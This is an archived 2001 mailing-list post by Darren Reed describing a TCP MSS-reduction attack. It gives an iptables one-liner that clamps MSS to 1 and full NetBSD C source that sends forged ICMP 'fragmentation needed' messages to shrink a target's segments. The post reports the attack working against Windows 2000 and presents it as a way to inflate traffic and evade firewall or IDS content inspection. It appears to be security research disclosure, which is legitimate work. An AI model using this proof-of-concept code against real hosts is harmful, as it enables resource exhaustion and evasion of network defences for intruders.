Apprently on Linux this is fairly easy to make happen: > Hi Darren, > > It's reasonaly simple for Linux 2.4 users: > > # iptables -A OUTPUT 1 -p tcp --syn -j TCPMSS --set-mss=1 Thanks to James Morris for that. To me that's a trifle "obvious" but maybe it isn't going to be noticed if you've already hacked into the box... A more "traditional" method, using a C program can be found below. The #ifdef HACKED_KERNEL are around some hacks I made to test with it changable on a per socket basis. That won't work anywhere else without the right stuff in the kernel. Just for fun, I added testing whether or not you could use ICMP PMTU discovery, today, to reduce the effective MSS below that which would be accepted in SYN packets. The target of this test - Windows2000 - behaved as I hoped: the MSS clamping was defeated. Incidently, because Win2000 appears to use TCP timestamping (by default), this reduces the effective data size quite substaintially with an MTU of 69. I ended up getting 17 byte data packets. That's a 327% increase in the data sent - 85 packets (4836 bytes) to send 1436 bytes rather just than 1. Thanks to Satanic Mechanic (if you're still out there) for the nuke.c icmp routines (they were the first ones I found when looking through my "archive"). On, this was written for NetBSD.... sorry to all the linux script weenies out there :-) Oh, there's one other thing of interest you can do here and that is you can more easily cause a data stream to be consisted of "small" paccels. The obvious use is making it hard for anything (be it a firewall or IDS) to scan packet data content. Where once the entire HTTP header (or almost) was in one packet, it is no longer and neither are any fragments buzzing around... Cheers, Darren /* * (C)Copyright 2001 Darren Reed. * * maxseg.c */ #include <sys/types.h> #include <sys/param.h> #include <sys/socket.h> #if BSD >= 199306 #include <sys/sysctl.h> #endif #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_var.h> #include <netinet/tcp.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_var.h> #include <time.h> #include <fcntl.h> #include <errno.h> void prepare_icmp(struct sockaddr_in *); void primedefaultmss(int, int); u_short in_cksum(u_short *, int); int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *); #define NEW_MSS 512 #define NEW_MTU 1500 static int start_mtu = NEW_MTU; void primedefaultmss(fd, mss) int fd, mss; { #ifdef __NetBSD__ static int defaultmss = 0; int mib[4], msso, mssn; size_t olen; if (mss == 0) mss = defaultmss; mssn = mss; olen = sizeof(msso); mib[0] = CTL_NET; mib[1] = AF_INET; mib[2] = IPPROTO_TCP; mib[3] = TCPCTL_MSSDFLT; if (sysctl(mib, 4, &msso, &olen, NULL, 0)) err(1, "sysctl"); if (defaultmss == 0) defaultmss = msso; if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn))) err(1, "sysctl"); if (sysctl(mib, 4, &mssn, &olen, NULL, 0)) err(1, "sysctl"); printf("Default MSS: old %d new %d\n", msso, mssn); #endif #if HACKED_KERNEL int opt; if (mss) op = mss; else op = 512; if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op))) err(1, "setsockopt"); #endif } int main(int argc, char *argv[]) { struct sockaddr_in me, them; int fd, op, olen, mss; char prebuf[16374]; time_t now1, now2; struct timeval tv; mss = NEW_MSS; primedefaultmss(-1, mss); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) err(1, "socket"); memset((char *)&them, 0, sizeof(me)); them.sin_family = AF_INET; them.sin_port = ntohs(atoi(argv[2])); them.sin_addr.s_addr = inet_addr(argv[1]); primedefaultmss(fd, mss); op = fcntl(fd, F_GETFL, 0); if (op != -1) { op |= O_NONBLOCK; fcntl(fd, F_SETFL, op); } op = 1; (void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op)); if (connect(fd, (struct sockaddr *)&them, sizeof(them)) && (errno != EINPROGRESS)) err(1, "connect"); olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen)) printf("Remote mss %d\n", op); else err(1, "getsockopt"); #if HACKED_KERNEL olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen)) printf("Our mss %d\n", op); else err(1, "getsockopt(+1)"); #endif olen = sizeof(me); if (getsockname(fd, (struct sockaddr *)&me, &olen)) err(1, "getsockname"); (void) read(fd, prebuf, sizeof(prebuf)); now1 = time(NULL); for (op = 2; op; op--) { icmp_unreach(&me, &them); olen = read(fd, prebuf, sizeof(prebuf)); if (olen == -1) { if (errno == ENOBUFS || errno == EAGAIN || errno == EWOULDBLOCK) { tv.tv_sec = 0; tv.tv_usec = 10000; select(3, NULL, NULL, NULL, &tv); continue; } warn("read"); break; } } now2 = time(NULL); printf("Elapsed time %d\n", now2 - now1); primedefaultmss(fd, 0); close(fd); return 0; } /* * in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying */ static char icmpbuf[256]; static int icmpsock = -1; static struct sockaddr_in destsock; void prepare_icmp(dst) struct sockaddr_in *dst; { struct tcphdr *tcp; struct icmp *icmp; icmp = (struct icmp *)icmpbuf; if (icmpsock == -1) { memset((char *)&destsock, 0, sizeof(destsock)); destsock.sin_family = AF_INET; destsock.sin_addr = dst->sin_addr; srand(getpid()); icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (icmpsock == -1) err(1, "socket"); /* the following messy stuff from Adam Glass (icmpsquish.c) */ memset(icmp, 0, sizeof(struct icmp) + 8); icmp->icmp_type = ICMP_UNREACH; icmp->icmp_code = ICMP_UNREACH_NEEDFRAG; icmp->icmp_pmvoid = 0; icmp->icmp_ip.ip_v = IPVERSION; icmp->icmp_ip.ip_hl = 5; icmp->icmp_ip.ip_len = htons(NEW_MSS); icmp->icmp_ip.ip_p = IPPROTO_TCP; icmp->icmp_ip.ip_off = htons(IP_DF); icmp->icmp_ip.ip_ttl = 11 + (rand() % 50); icmp->icmp_ip.ip_id = rand() & 0xffff; icmp->icmp_ip.ip_src = dst->sin_addr; tcp = (struct tcphdr *)(&icmp->icmp_ip + 1); tcp->th_sport = dst->sin_port; } icmp->icmp_nextmtu = htons(start_mtu); icmp->icmp_cksum = 0; } u_short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), * we add sequential 16 bit words to it, and at the end, fold * back all the carry bits from the top 16 bits into the lower * 16 bits. */ while( nleft > 1 ) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if( nleft == 1 ) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* * add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } int icmp_unreach(src, dst) struct sockaddr_in *src, *dst; { static int donecksum = 0; struct sockaddr_in dest; struct tcphdr *tcp; struct icmp *icmp; int i, rc; u_short sum; icmp = (struct icmp *)icmpbuf; prepare_icmp(dst); icmp->icmp_ip.ip_dst = src->sin_addr; sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip)); icmp->icmp_ip.ip_sum = sum; tcp = (struct tcphdr *)(&icmp->icmp_ip + 1); tcp->th_dport = src->sin_port; sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8); icmp->icmp_cksum = sum; start_mtu /= 2; if (start_mtu < 69) start_mtu = 69; i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0, (struct sockaddr *)&destsock, sizeof(destsock)); if (i == -1 && errno != ENOBUFS && errno != EAGAIN && errno != EWOULDBLOCK) err(1, "sendto"); return(0); }
This archive was generated by hypermail 2b30 : Mon Jul 09 2001 - 10:08:38 PDT